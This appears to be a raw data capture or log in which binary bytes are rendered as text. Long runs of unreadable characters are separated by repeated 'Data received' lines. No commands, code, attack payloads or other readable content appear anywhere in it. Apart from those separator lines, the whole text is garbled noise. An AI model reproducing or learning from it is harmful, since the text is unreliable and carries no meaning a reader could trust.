cc®ne´ÇuÉ/Öq~q\÷¾dZ©ºNXJÐzÀ»£³loH·v,pü³î¢8'Ñ°§à!ÚÜÓ¹ÙkAòá©å«õ}$I9Ôð©+ÄÄ¥»¬¤Eùk1³bÔ"¶b9Ý5²¨åIv×ÿ5ÑyRÙ:¬DììÕAmãÖïÊ¾4\|6öDÙô~!¡>Õ¸êÍù6¾ZC¸ò=TùG¤ùYÈ¢Éãk/f) =y ¾9»LT²8Éc¡tl:lç?½JJæ xÜ zè$ê%"¼âæ"O»xÀd¦ÆzJ/¸ß\|_p»H2AÜj.ì¤ÜàQ8q£.ù¸ð!aögÄþFëÉæÃD2÷£SÏH^ÕAQcäßA;ò¾£Õt:k0Þºé4æpLë©f/ixÃA-\|ÂHæõ_è¡[îº:AGBKA\#Q(ôw·E?l $²\|ÿÀä'ÖÑAúJ¦ @ Ø£P£~Ê©Ú[gßb±EbLXr+RMýõ¥Ö1§[=ðVÆ¦ßÃ÷<ºÂWû«¸ÕÏGÙMPä Kæ"\|ÇZ8-¿§í»§^Æ mM@¥³»ÅXñ^Q¡Är¤=ö7[l{4Ç´bâZÅtxÖ?àz¹¡+)^Ì:ìXïo}¦Å_Pm~43ÉV¸ÂÅkè7F·?á¾DLR1@Jæò0ÍkñÂîR{óïò¥tmzOÌ3i'MÙÔp`hÔCbkøòÚ.Øêio
Data received	«¿iæ/«Å9¼WMû9¬EP9GwnÑFÚ]ófÐØÄµâj..ãÂÃcoÞ#DÕàïôÔÎÀ'æy¨¬ø×Y´÷nï^ H¸¤G§òH2«ä§ÌÃëÉeàÞuÜôQ]vøùoÝ'²W½J9vÊëNZe¨léO)+J$.¥U¥Ï=§B.¨ÐV90Ý±9ÊBa§^æiÁÆ?¨ÞÃò½ðå´!3/ªUù%£å1T`l:ÆµøÿìgËÅ¯ßê¬%§¤.òÍ]¢£b¦@´Uä\¥>ªè,@ü:~rYWC$#y<þêüK¿²ãZ\|ò§OPÇºá7OßwªRsË±pÜç`{I]}ýUåà¦oäO)CôcW^øÛÍõ¡gÆ:»MCà[ÓÝlõ(]Mî´mßâ=3ôº«Yq»VÕH ;þ,iÝÌ¤«¦Sz±ÀêBÄª°TZ\|S³Lt¦ç¥Í Ø5ÁF)AP.DhÈB×if§1E¥e¢gs4"ÏòUº\|ofC×èP¨ðeRÃï³!ÚïÖAFyÊ`>¦O¸»¥ûr£mzE\|äôÓë³ì?¢85â²pnjEÉv¼#9c\|â1ÖO×V÷íwèuÐ¯®ð@;Àû_¶1ÚQ©ÅP<ÿÍìzè±Ö/7m ²1zwË,Í)Lµñ.TDxsW%##x;.ÕÇÜ J4?ÙkQ÷ÏÌQ[µ{yù1uÑÓ^ò33WXwyaeEÁ(uÍO8ðÃèx~¹ùÏAªgíÐÛ27'ÉÆJ÷&ÉþX&²xN>HâtÔ¶½»údâlãNïä«¼èëy#Îö ÓcÂ_E x»¬ºC)¹3!5úr´Jè$ÌÑ \<§ú%K÷g;å©ÖÙá¾È;µz`Ý"ÃXÔ!;¥ÇãÙ¥ïÖ¡Àºã¿<Æ"ÎH´Ýé$n\@ím§ÊÄÁlîBlmQ.Gµ Gºh´x 3£gÝ]êò6½&(NeÜçÿ@¾D»ÇÝã²ê«B%dS?Ê3à/:ï#}XÚs¯¢wAù¾©×Ë±ró2Õ¼oOæ=ÁÅ2ìýGÿ äÑ0Qn°4;k±èÃ'ÛÓoEu,ÁWëxx!}uwUV ¾cá=%Øu¹Ù}ÀKzh)Ì»Ë×ËS¥óÐ`0ÑÈ#²Îº}-jãi !XûsKÏßDDI\:dñtáã«°)öï²¡¨79qd~ÁPky«àÔ?Éz~¬ð 9vv5H_HìÏÈðããM¤ -;H#Z+ldDXAäÁcþ.s¸¡©Ý/ãÉh2>6¤Ïð±Ù¤Éâ·0m3~ý÷A±Î¢éo×î[îgjoÓ"2ÔÌ#ßmÒa.* ¨`ôÆØáã]?ø ®uÈv9@5&Èg/èðÚûç¯ÖÃÞíy»uºTºN¦*@_¤(Úí%(í¤õ<ÑjhÝrº1ÞVxÐEDiBåVîÅÒÛ,÷' >¼HbnN<ç$l Õ/½9×ØBºÁÙU`Ùã21{B-á¼QÐ×ªÅê,Òù;ÐvhNSwAúmûÀ®@DãeÒV¤c
Data received	m>Ôm@PUÄý\Ü¸æbJAßÝ[)ÔMN×W¬<1dÍ©àe¶¨Cõm(7×0¯rã9É%S'å`Õ_þ´UU-Ç !9½[äyÏà]òÃ,eS1wÅò}UOÒ Bzeð4q=ï&\|N®íl¥°Z^VõQª>b{Ò² æ:×Lÿ @<äuÛë[áÛÀRoÛ-:vÛråØ¼Õ\)ÄË¢Îïø1W)ÎÖo{H aÑP;ðîÑ¡k\;-¦ìWO4B¿;=òÃS5ã3]2Lm]1Ò¸D{g#2K°"Ê@cõVËùö=DÊf^'PwýËì:Æ¯yéã¨¶¼ ²ÍS6ã¦gÓKyÒp¿Æ0¥X"´á $ KzÕt¡$jxÁá:¶ìîÉ_¿Ê W òæXaD°IA'ç&©nùí>CoÐ5zé>YPö7IÍöÔ¬aQçD©5Qiõ§·Ï¸êÄãüAÿ@X7xø®p¢Í.å <³mÛÐ^ÒG3\EºÌA íjVõsEáULù$÷!éðÝüÁ£^è´½¶ÿÓyH¼ÝLs&é\|\|tºpáîÖµ:(©S5zÎNèKãéÂêý¬_/×ß+tab¼ºN¦ù¬Â ¯å0æ7Áûìyês5B¾ _}þj3 ÀËãf`Zë³D®rmàwõº>sHþ9÷¾±\| /Ã³J¾ÝÜF®ª¸òÜJ2 =°ê0åæ0K"ºl_íZ2xAY^0ú¨Ï+óº]ErÆì·¨×°fÙÞÓö8Ï?p¸pÑ³/ å£i¹Ç1°1khHÝyoºI£ÓotPÃÓYc£¾´yç¸fk¨O%7 <å§gQÊJQUénqzªB=:ü&c©ºnChpÔ7ÇDÅd+l²)Æþ¬»õô âyRuh M¯À=¹ÀBùkÍÙÙøGH_ÁFÔØÊVÁ³P-dÝG£m'kD =]Õ£ÐÄm#¼²q[bãÝò²å¡>ÁáÁ;=¼¾Ú·Ös¹ä0¥¡FUÅvÊ+ªÒBo¶`ÎÝ 4þþ«vF¼ñÒÝ¶a;áôÕ:øÌâ¾é´wX%±Ó¥-ö,UÄ%FÕLã.áæY±EÚJZìª4Iâ¸,¨Íîxy÷Oy÷«aTÞ/Éæ¾ó½jI_\´ð0>eû[ÐhpÈ`Pâ·ð;#e¹ò ôÕ1£°¡`¾·¹ïFÙo´#PÆ°ì#ïD&Qø_.ÀMD"Xµª{1¬×Z5?'íW7[Øõ ØO.BMë0·X(ï»¥W¾óB¸¶Á<.>@~h 8Ú½ßMFÞN?>ºæSk?Wù$ÊÉo·Y+ÕÀ N½Dæÿ^ü¾a´ÄYë=\ÜØà<¿à[z<:ÔËíH«L¼C)é9mAÔF` ¶¤©ºäýÛØ+Mªì{\?ÁPsJµit©1â5ù.>)pJ¼^È-};ådé.D< õü³ÆM Â%¨¬óÖ§^v\ÕÞR²/[ó®ëáfPéù(ñ°ª)êj_±êÕ4hü½ËDáv ál
Data received	Wâ±Vj404Ýbø ãK`a\|ê$ùáºCÊdÍAÞI¹G»°YöSaZ¦ ®±=¡p$¥¦Ç½[fr5è¼ÊP$ ~Ï]¥ºï&Ë~sE`§ÉÌßJïÕuif»ðÖÜS¢v}ZT»»1E<"'àr¿)ûã¥ÇâJ³Æ7oYvÐöL 6¶Í¿Vã§QS°~R£&>OûAwsU¯püYÉ¼³Þ¨Æ.ðþkßNT×vç.Ûá×YøÝLO«M´ÿAdâJ«3h^(è[\|çþÍ<`ÂÂqNny!DÿÃÿìµbû³Lþâbz &M®tGlÄºª¸He ·1}×T%¨ dÎ 3÷©+N½£rÛ/Â"ÎO±µ^5òZÒM¬gDNòßòR ÅbÜ£:u}ßÉád¤[/n{2AÈ{Ï·µ$Î/êH¢ÏðÀ,aÃaí!0_fã`Va¦u9£! \|Gü´éÏ5ï4dØ¢ÞÅ.g¶ÓBk¤°FK#déÇÉpåáù¥§@ñ<îDîSÂ²¥ODôy{ðAYR8XÌKÑâJÆ ã¥ÌEäc{z}ÓGYê$âfs£YãÖø~íðêÑkS^Ë;Þ.®htÛâqËÃ\ÊÇÊÊcI ^ÂWGkÑ³ÉÁLÿbKjg\5ëÊ(x{»MKL8ò÷úë+Ø\?¾@{6;/þsæuú¾Ð6xx?b¤ jVM¶5e¢Ö=ú ¤@#W ¬¯T¡zÙ´7xøâO±îÑ>-'£LgHáOvÁÏu)þÿç9ÿ-èÑFÙ#þ(>ó³3þJ1×Ü²´?KþiZ[ÃKâ E'¿©¢ÎwX]Rz,S_ÎtÕFrB3bÖrÈÛ]ñoÐQ=4Y"¡ý úiëù»µ?ÂíèN+w}Ep`Ò)Lþ¥õCû¿Vøè,]\|'.ÁÄ- OJÞ¦sØÐDò#ò§"HYÎ<8?r3Î·ô¢¹óôTÜèäÄájH¨¶lW h_[lúvå_ÇÞ\|Î4×Kt\FØKs'¿d`BÚ]\¢XOÊ¬Âic%!ÿÇïÅôFwÀi_Pt¾ÀVtíO´è×¸DÙQgtnNÈÎ.BR\´¯é±Ø«Ì«Êêîy CÅª_¯ª$iãæ³Óq~GoA±5Ê"ÛÄ®á8OPâ¦QB0XaNÉ 8+¦f-Úïü»é÷ ¾¼û9wòá³¼) ½x ¢¹BÛ/ÊfWx\ 0i/;ø8;,¹Tû©V¾1¢h[`NËÐÆ´%LIOV§ÞpÕV¡ÃbÌðàgGT`2ÙÈ³êröPùWkòô¥x±ó+ùjîòÓ¯ªÃj ³3>inéëÝÀEh9NCE @ä1XóÑùÂä©45¬:Fïÿ^"`im'ýyâ`/µ"Ì£ÙýÈÆþV/)´È},WßßZI$}ñÒ:ßÍAO#`D,_Ã7,â_Óì½)§²Â·8ßFAþÐå~nìÙ¤¯Á9óRIÅãL½Ê
Data received	ð
Data received	Z[+m`Òcá$N]ÚY<#íGõªçé&Ó0«'(°rbîJ4Ïðoï)eÅì°§Îá%íg³@ÃÂ®X êê¡-æ~·¾[vNnÞ )}®,#àC5äÛ½«¶1³÷û<·ÛÐDLÓµ}_m0g9àú«\<VÝ«'6LÀºuðîî<m2·ôÖI4C1^ªrùOî¶§??§aØH)`ùÝà\|ûcðIdÂªÀ^¥c6ÅØ¥Ò!2ªÇS±G_e:Úd\|ç
Data received	Ç¼S¼ìéMÇÿ~ 8¶cOÛû ¨vúÊøýÊYIÚQ?]\ø1¢åÔûô\|(úµRZ?¡ÉÚÐðZ¡6Å0Ô0r¦z\ÒÀá2öO4È¬ú ñÕÛÁÌz¹a5mA÷Àò«êÀ^(0§n-i$I°õÏsÀ½ÍpU¤ þý[8b¿hUãêÞÕ.H]¸»tÛsêâ-Y_}üá Å«°:+ºlª¯IùÔÓJü>àbÙ«ÌªyçÊpp³@N£ÑT»y¿EY68K7æ+yâzóÝqlíà¯=s¸Æ¥¯B!LþhÃSÜ1ËÐÑ,#ØìSjG³M.n(1!6×7Ùg¦Ó¯ïQs1¾_ÔB{Öð³jÿ¦pÕ[R@ù&VÁpÛ§W(®Éó&é\|5!³ëÎôt^3UÔeËpS¡tn&Ó#»Ép®MtÁæKÇÝÅ m4þóPª0'Eà´üê.ÏRÁ´Ì¾ ÿÖ0dc )-fÏ¢o</k¤BwÂg©åW®B@Àjîã-gò,?®q+ÇîJAï ßjRFizñ¾[# JÛ ^ÅX>b8HÌÐ'wÝøÎÌÚ;»×â×Íì~:7M&\|,kCChùÜ5¯þæe¶;¢ÉÐÃâµ¬GK´º\Hé3õYF@7ñpHÃêla ÚèÑhä%©Ùrµz/æBQ.ñÏnºÄiÅòàs3¡ß}{8÷´¿G¢gä,Kb6ÚühËcyÿj¾ÇP¦ÖÒ?Î:4ÓÏÎEïa {µOxW!±¾ûc/wÃExÜnÑf¿äd¶êýW^â)óµ(vôjÿTzZ" O ¦Wúç#æØÿäíÍÝ{ÁPa¼½@iB)&í4~#cÕGßÚSu÷8÷Óòpsy6îmò¦Æô¸2&Íp¸OEnÒ§ûQåè[RGP,zoóDJ :ÌL¡u%=hÐønpÍ3ùx?AÄ~7ó»'wù¶á6àËËeÒMvßÍü7à;÷OT:Ò¤\Ð¤Æe"Ûy#ÖÃïá± UjpsT½^ótM?Àâ\|êV3[½§ö6ÿ'V¹A?ÈÜªõ&Nèxµc´;£@.¹'bø2÷ÁOX¸0øèBCS¡âÇNñG,ZÊ©Îõ_ÊÝ_zh´ëÿö~¡é/$$"HÊ¿ÒëùÖ3èøµ>Eö}FÞë ªÖ2.¼{;A´>P_ÑoãH ¨øiÉÓ5çüÁTñj/<0üð»tÞb49Æ02×{Å®ÇË&¿1!¾Ý'tÄ?ã Díß^©x]Þ^¢Ûöoe/²^E×GMI:½Kr9Á'²b.9\å)fîÚVw29ÚÖºØ½.0Z¥f !XoLRã¡ÚsoËï\|ÒýìQ³<LÚ¿ë2e!ËBÜ·Ö©Ãûá°jo ÌUÛzì¿.gx[7þB¢¡h75Ím¸<ÒJ yÙà÷ôÉ°a,d&q6mqÄmóÑÂKT%(êì'ëxojHº½ððOÍ98%ëÞ¤³Ô±ïýbíðÆp#c
Data received	N!ZÅéåÝ¶}ÎÁ6 Æ¡UûtùÖÞèN@$\|ª ý¿.¨öC`´SqÄiu,'"P"¢'Øº©yµ¦y\|awT¥ä7Æp 9¯y´ÌórµUmûL"À®}Ýõø¨â§õÝ>ØéZ,ÞÒ=ñxgY_?ëÖ}N!_BHÓÝP^©'eS\|gÄÝÖrdëWr·Wåñ±!XdÍ·Tsäbzdà¶Í~òZã#·zlC+í¶Y7!z~Ø <Yh¢jev¢â{üày6Ûp-½ÈôÝò¶l ÿÇ\| í)åÌÃÎßß^ìXä6ÒEÆcÜG;Ë3¯Ú_å»$h÷õ®=È¨h%L ã^)Âqy]iUE¯¿hNr¶ëJvÆN`®³f\!ÀPp"LßÍÉ]Ï.PM#²ëFI±øa¶Ó¤%B4Wº9÷_Ý»lNL¾h4µcaô]GàÖxG_Ã;®^LÌÈÏC9h×£R`1àå7}Ü`Ò-]ßé+ê5C ÇÖ¹ñÖuÛýL>¤é¤âäSEnNoMú]YØ¤âúE(¦#G8ùql]VÖÝì}¶DX wð×ý-Õ¿f>OH]ØrqÕËc±é,4°åÒNÅGrJÝÚÿQïçVUð±-øü@W<þK¶ÄnOÉr º!ç f³Û02QE\j\¹ùYþÒûµªÔ/¸eî2wómIÄÃ äÕ¤dªz«Âg®g8HÖßAOÃ/îtÈ"±fùx.;'55\|a,õA² Ï5ñ×ÌWÁ+tS°µµm(ñvPï5U¯Â ´ä]gsn÷í´ÒaÒ^°¥¼þ{ÇÝìoPÐ[q¤QÇeÂ8 P½´ù:sr¦%ü"cÁIü+>áOéÔªëÆn÷I´´¯ÜåÎqóîsy²û RíMyKøð¡-íiüÆ©ÑÏ<õ¿ûNG`~Á\å\UµÄØæ½8ÉkcHë¨É»cr_ vóOMï¤ü@6Ëiac«üØj¾kÁ#ÅÀ)(äÓk&®0$'I?tX®÷£^]då/ä½j<,Éÿ3(þ t)±úÐi÷Ån M& e}ÍBhjKxWæF[¥÷råÐª9f°Òj0LÌ ©³ÁRõÚ°TÖa»¯£Ø V@îÐ,fQVE·Å·2-0°c¹¨ÌóPçÊ,ÝÅÁ°Õ\× pmTßE-[n¿Ftj¹òð:P`hÁh§)Ds_³ûiê¬ÙU&v?Ø,D5Ó]´ùÛÌpw9nöÙ®ÅÇvü.TÕãÊG<Ù+ ðËU¬µÖÞ:¬d6 z3$UYÀËà9^JY&AüohÃ;A2.¢¿^2tàf©ÜcM ß-[Hq×¨#3;`À!veø·TÞòùÀ.ýön1U~£& $&À (ø\| ÄPðëT +Nû¦¸lÙ:;¶¹ÛØ~¹~çf²æõ£`ý ¦ëeÐ;5Ò_@Áõý=°(G<ÚÁ¿Êæhÿ®¥h¥¡(³ñÔÝ¸þß¹óxl\TÐT(óúwaaR¹¬NN1ôw5ÿºwQ2µèXU¿cèH§NùØÈJùã!Þ
Data received	Ê^0Jf ûWf¨Zî:&Ub_/ ×´ý÷KyY¾ÔL¶wpc5¡ F\|XjHÕ[s«kÈm²K$ ¨KFB>&¤U4åZÝÉxaÛ¼:<$TÚÿðO4¸£´Gå¸¶ð[B¨)î&ôçMmlí:oazÓÆ&gÞòñ±YQÛ\|,@¡ÉÚÖ«hðt¨³@cÂÇï;Ù&We±òhk¦½`Ä\þãÏúç6R(§¢Ú°¬ÿ³^lcUù£@jOÀÛ6ÍeÖ/\dàÑ½9ï\|»»w9¸V#«1!fÂ§WbiùÒáñô6³ÅsSê¢Þß R«ô¨C\|ÌÀÿgädÂ:Ò¿ÃMÛYzÝkjgñ²SÇ è%Âî)ùt`¹Æ'¨W½ÅÇ7O=xóëöÌÜË)kd>¼¸Ûn¢7=òçpd×6"zHÄðTùsØÐ3è»ÁÅºXÀ[ÛÊE¼¨t8_2ÛgÚ®_ÐlÖhý">&ÞeQ,Zéó)¬Þ»Ã½~Ü¹-¦!5zTJ8>9%gÁº¥¡TíÂþ^p£V½Ý0¬;>.](¢¹Q½Xô¯³æ^Hù¯×YÎÏç¸têP5b-Í(ÐP,·LCÁc@ÉÊÊºÄ>×»h},SâM¯ß3äKÁkâÞêj xN IEóaÜ$áJ dUY¬.u°ÌWÇÄaå u`éÇÍ/QD²Kï {à·ïVî<lCb8êØ~)ý³3Dê£7mäÿ;&ï§=íï¢É<)#ñ¦AèeáoXdÿcõÃ$DÖ /µ«¹;¸%^wÌ{Ä Yo³»±+j"uÖ¯s»ÞC)igÔøõ tÎW¬³$àZè¶ªþ~DRÕ5.S£3Tí¸`/t_Ú/Ì*6ô9gí¤æGþqW á¤y<¶¥ißeÑi_ÌG8PgO£ýÕ³¸=ü^~S´è¸Öµ¶âÊ TÏ0ÍO"4\|RºXÕüG+-xröOÌzßðAMÍ.>Ã2Î^RçæO[6&BfÞÕ¥ú ¿nÕð§C~²® Gã¸ôc#ìBfIºHÌu7Ê@uªÂïAåA¨ú5'8Ì%¡+b«õï-ßU³tI izqàÔ%øì(ÚVïúJç1¯¤ÓR¢ËÖ=¶sØe½ÏROH<Ûldo^e'-d9]VD0áÒ@U³ÛÝú¦ZlºMQNºü Ì\ð)ÿý±<äìÄ±âWj<ECÅÒ[uQäôà"IIn§ÑcZf7åæF~k¦ÅÒÊìvË{J3©é§úäÀvÃ¿OÞCÿµÿf¬K_Î¼8i¬Õö+·Å°ÛÄmÉýk à[+^È©ÞÐÿ>øy¬¯hº¨Ðiû¹Clíb¹×j^ý»\ô ¡¢o®Á¶d[i&ÿOHÞ¤lî{ÞL"Wy[qE¥£§ý¬áôØeÉâ~íæy(àc¶±zG~¬!ÎK!uuâhÐ!ÆD»º°,Wèö«<fÁzÉÍþï¬,Ôb©Bcé ¿#Å¦oi^_ãÀÛ3´W'\6@Æ2ÏÖ-_8-¥BÑP
Data received	R²â³ã}¨ãÅÎÎü¢$`"zò+_Ìhü'§¢e£Ü æ[`;Rìpk ~wLÁ×úyÓíºáÝ÷Æ8ª[k§qÂóUôkåc ý).gè ÿ¦:¦,mô`à¸bôM³ÂþxCî:¿¯Õüø)VL!&ÿ¿dWs¬°Å¿ÎPÝz4 Ï&Ð5¹^Ál2×þ7Ó<¦t¹³[`Û ,xNÞ±õbS ¦5fÊ5¡GòÑ`Ç>y3å3-Bµe]'ÕQxTASv RJQ-£\oÖÚÖêí²Á~»©j:ÞÌCÒ.¬ßóë¯väð®§³äóÃòyN}?b[ãÞ¯Û9Cë¯øBiÇìÇñ4vÏbÎ²}<J¡ oØÕû÷ LïYÚ,?öÃö\s£ªIÈx$.Ü£zåö]Ç¾Jé¯¥XæÞzRBW=û»A]÷Z ßÀP-×ï4°4ñ8DbÐê/,íÍbóiD<=é%;5 dÀ¢)zÉLJÎåFÙ!ñö5UJúlú¹3nÐ°eÙ$GgëÄ@z,U¯ñ±¸ÃXTïO³!ûÔb î~ð8 w2Ãî¬Õñ+ïßðT¿jÌbÉÔÍ"YI/02ëÀò,ÈÕ0lWðT+Æ¬p4 ¡«>¿ Êçc~ã3¤\@æ¿ÔK³þÂæèõ_êêòÖÂ8¬¹ãée{Wªä!ù2cb¢Xÿ2b³ÅjW÷@"Á 2D÷Ô îâ¬åîu mäþ7qÔ0ÔtH«óîÕ;Ü±©ºû¦»ßgãHøL:ÊÐ÷cm¢RÚr -Hqî dtIlY4§Åë¸\pÈóaê eßiYÝ .%úpÕ-z ÁnøF`¬ÎÞ)î=Þ·bçGÆø4A P¸ 0××²´)ºësí¯sëÛæH!v&)HvÛ^'"8eäØÉ;-¡bN¿¶,±¿Î~¥oC{½#eÖ$ßÍ@H» ñ÷Fs¾/Zâ2A;^iæÝÁ}ùÛÌÙð~UëX"9Ä,½Ü¸,³ª6þY<©¶á_OÌÜ-Á?»óçÜz §ÐEHNNïlÞÞ%ÖË7·Òæ ùnÜtæÎÅud[ãiµZâ2yÍ½jýJã´n¼l¥¡¤Ä,vä´Ùh2gåt·á½'çN¥'8]ißú?ùÀ®©ìS¥¯+øî:Lý¸ ê&"«/ò£«¼ÆõsûùË;#wr1ØºLaþHþ¥LÜ{e¤"áÍµ?¯ ©Ô!±¹i=i!üàà" öÈÎ¦äx Ì~«äî,SÁÅè6³Ûi÷>N¸ökXFé½éùÉH×@ê¹ [²ÅíPBþøEè'að%q¾ÎÇ<Aß9V"0Ï#7¦Z îë²ÚibDÜc?m<?ÿÂÉ^(¤~D°öþæ·PÀïoåûtÞ.ß~]9 o$IOæXÿ^+ÌóÇ¡<¡ªÐÃåo¹ïSxÚÕæ ¡°½E§[áã§ ï3´%j Ý\¾ÑLåbO(ÆÝ¾Ë×ÐÊ®ùêùÛ!tÍmßÂ
Data received	®éjüm¾>²ýEÅca»0(ÎÛqBBl´üÉjrt×ÿdÊ4Óäù%òVa8r6ÜÈ7ä¬.íÊË"íf ò~¾boQ³ä@LxqrUµó?o÷¡Þ:ÂgÆ5N84ßéÏºoÇ"O¿&}Æ\¡¸®õ:³¨ÂÖÌÖ9¸×PßÐàójÐ0bÈzÑÔûjòÑìVBöC®O³iºþ»¬öwêº_/Ì»Ï³J$b.Æ§ùÿñGsÅ>"ÓòAx@×g2iX§ãù8SÞä§ùKuÔQMÒRÛ£MÏ¡¾!¹Xÿk ÚGÌv3ÞÜ£H5o½¨<ü¾»¸ ~?q³Å'csÿÙ¬¢Qøõ«`'yBYåÒ»ùAÕÐÁÓF\þUyõ§ 2ÅB¸¿¶'2¥ÔÉ<æÇy½põ9CßjmKRá"0ÊÃuzï¹¿.®ÖCWcÐ%Cð84¢òE.§CÜè)jÂ®3 ¥q+{/s©^tÍb,õ?,~ëFþ_5Ú¨OÐéÇ®ð(}5QNíB/QzHF=Ï@Ô÷bÅó÷^å_ÿ3DÃâ5øÅ]t4;È3úÂcTï}&q÷âØR³_£´¹ Û4LoÎ=XáE#À±ÜDo¨¥ãÝðÑJks¶ g¾'>µÅT)ÝÖÐiÌÆedoWð³ò9_¬mBx>/hÄQ!9_K6Ñò~,pgÄÜý;GÇ=héZU®Ü¥µÂðDGM²æRnítyH]ôqñHú«^&ÿy·sðÒL jèíá¥qêÐXáÕhhÈ2ú` ð0æÊ-ïC^ËÕ¢îuØ¡mRu§Ç %íHôÅú6s5Öô( .µHÿ~#]HÔ\|êBºæÂ uÉ¶°©CPÃ·5é:áÌá½æÀèúbôÃNÞbÇ'ëº±1Ù"at>Á¸Cxúf±Exê»Q}2l¤uzÂajBøwÅ&%Ý3_ÞÔ¬K¼Y1ÇÛ<VlÒÜÒò½÷=Vwí=@a¹áád &to«ÁKlÍ¾kÔ=ïL¦V=Í$%yÐóOé¿çÓO±v²Ýè5ÉU_håäößcnC,%}¾éãúÏ¶ÄÌ³ =RwóGN÷í¹4ìÂYÓ! cá_ûR^à?û+ÄpwÍ:¤tðûs'BÍÐ8$Ýp»Æ}0h+¯cØêEãÒG4ñ5ÒÓ VÌì9½bVÿw,¸f~Á¹Á[ù¤kñúzP{qÑhhÅ]&K\Ï-_kTúÞõ%U<"sñ4ÜËÓÊþ£¢^à«²¾:Ýa«áÓ-Ðîùò&4å#ÝwÑB÷V©ùû× :°éÈ :Ûhæ I1Øìíè')Obþ§ï_Vb} bÐwó#]ô«¥H®vbçê¥Q¶ï>,;u÷JØèPNºêu¿ê$Â2¿ÆWY<µOg¼vb®o©B#5"B®Ø¹fºáô¤ô¨s;Ê¦ }¾<ÛÔH}wÂtbÄ¾:ÛÓIÓÇ´ÏÙxô.í]äòËøQÚB8Tþ6®¦$AåÑ+'$Aµ¸æEúP×($5áâ(ñ
Data received	vKÂ:]påòçìµ<qW]?½VrÕ¿-bVgV?Cº^X¸âsÆ_o°9ÒÏs½®ï_àè'+°äÄÐgÌ°e4ots{xa&³¨íæ¤7î:Âk f#6æêio-ÄàòyÎhlDî+¨äø?iOÇI×{P¤a>³gû"/ö[¢ëÃN78Ð ±q¤r_³Ø©PA] 3ÙçNÐ#\|uÙ\£=O&rÕ11$½îà5²Éd·?g&É`£vdg3èmZÜ2í(R\|D,f\|Í¼8ê¶+±Û{¶Må£à~~Å§UzÍFg#×j(hNRKpe¢DD-Ð)Tªt£ÞÐÍ?e)¸$ÖD^\µjÙåP/vP] lËGdÕÀÈê!ìX:!,¿>©Ïg«Ú[ôÊy+ëØ(iò¾Û½HßíÐ½- ±Ö¸áßîI@ÚÈ-<wÇ×^@ïT©cJà!ÕOaØ0YuO° vª¼5ÞA"vôe¿1Jð ÿÏØ5¯Øt2-¿\|+·Ï¸äÂD9OU-Çlô¿Ý®R«"[ääÄò_Úb_AO´p#oÈÜ;é}êÂ³c~²&ÇOÌFiWÍè"Ç<¬Q^Z`¦²^þlY¢ëhc ¸B#7~q¥k^t»M04%µ2T%ZõôC %Á¨LÆ/nvÝáI+ì_¹J[²ÍÌÑ`HxqîcGÂ`Fæ\/ÍtT"ìÓ¦øp]3ó¶3!eãkpã¸²þ?®ÎÕ3»á¼Ç{i=~Kv\Åe Âê¬-© ¦GhF <ÓÓ.åKßI^Ë¬q`½9\fh(W¶+\|fùkÃÎ¡ßüRÄÈä1éÆT¡BµÚÛÅ,Ö;ÑÊ:úòë¾:<öF¹V# `s8¦¶ïeTg`GÖä½@´F4mR{[ é <JÑòÃ«¥×ÁË¸~G½i{[C>Õ3¯h#¢mí$ìü)ý}Ë]¼ðºîZÁöèµAñ ÄA-üvíóæS{¬5Àñé\h®+L:Uy#9kJßúwÅÉ¤_Ü6× Æ2ÕRì2Ep#ÌghF¦%ÖõXð©¾â¸_ïÏQÇXüÕS4Ãq{J&Æ<,.Ò¤ô ¦{F&ÜVS'º,ºõPì^>ÏrÚØ=@)\ã4Ö ÁµBB²Ú-d!'6«9æ"<£µ03ù[î0_',`ñÅô"¹x á1$H,ô \¯wiÎÌ=^åP&î3êöUW±È2Þáwîm±â¡òyÀûRG\|SDæ¬Ûòi!®çLÊ(V~ðÙýfYyEÂ0,»xQïEKÛ·ß E mæ¶+IãWK¸ÎëÞ·q4,4Qê¤ldüÑH«C=§Eø"¬¢{÷<¼@õsPùY¯Î£RæÝJVþâJ"_RLÕOÿÃúÄ¨QÌËçC-Í$IÄÂªk$"éº¦¦Va#º!tÁuÆRôUYÏØÅ ÂS¯ÅÖBS¸i ß¡¸§ûj)fÏ ëºëv¹úÁnöõB6bÊ ¡LÌ,iëÀú96¤ÀÆ-~äú
Data received	¹_D_Eñ¼ÕÄ'>´fbý[ënÒ¿`aYøÂÛd¨M#<·ð/5eug=5Z1YÀ)/2\|Ì9àP.Q«ßE:wQø`~'Þ:_k%NQº÷ñ^ OôÙ»Éâ²ã<\|&è¢-¿úTXßRÓ»!Yï¡9=±ð h çÍöëfÆ¢&EV5LÕõ~ñ½á$Ä·KC ·Ûô.Æ¯ìÁõOÑeÃtæ³ÓþO_^{^Ê ÓôôOS ³°l»M;BÎcümyø¡$ÓÉÙè~b¼Óyº¸"®óQ¸£H~~gµIùç(.-f¶NÆÆ_Uyf V¨ß'IÄTöï?<¿q¾ëNv}õaa^»w!?S #F7ðJÛ;/B`ôÄi`âXu§ÇmlÚ¸; ÅÒ´p¬1e;¬\|§d\|ùTÈÉ;ðWùm¸:©«æ;¸}?' ß6YE©#k;Ãñ¼[¸vB`rF' u¿ütl¶]Eý¤óå¹ W:d°thB2MÄ à8öþd«× dR]æ0Öl{Ï35µ¾ç¨ÆÈ):8û³w¶¤AVS{#'ú¾òy¬ßÝ{ö_·-9XàÁ©4QkA[ÆõìálÝ3/¦ò¥uo~îBIjÝh¼èÝRfS¤â@s+OÚêmlV-QàÜ¤ÎÝôlÝqÜ?ì.:ÖÝÏj¹i@«x-2W R«ÔZéÒ3\|r?9>ßm7Ýt4l¨úàÍ iÜ¬¸eñ&MyäÚ]±Vr dÏx¤m5È+8ZØìï EÌmEd±ÇCgÄäîtáQ¶åÚôÍl«#Äè§ñëUáoV«(Sn7Áõ´0Ý©ØpÖÜ!tÊÛ±@^þ»SEòïXùßUfNPÙ ¡¡è5]§vV` nªy5cVÛÑêq¿[´E»=èèZB_ G®{vù)õO^,\|&¥{ßÓ oÝvÓvVïæÙM]ºCyM«2¼oóÞ»6TÄN§ûE¾12ÌzTåD3©Àwi#Þ¯µÌyÑPMìº9³ÇÑ:&jÙñ tkzÌT²Ïß¬bÜYÏ¹}µüCø!üá²--o¢y·´\Q~#Ýêfêî¨¢{Á¦7ï8¸õa O¤Ó ÓÄü2"ÊÖM±°Q> ©h¯t¹Yqkz@[Ó¨X{è2+YA6#Ïtäý¹i¬[q¸y¿ÃeK«Ù=cCeK¥WVÿrÓá¨#¼Û¾qWýIÍü¬5È½êñ£uÌ¤p@TÀ5i{Q¡^äoM,÷½¡Ù9Ý-©ÆÄÃIôÑb 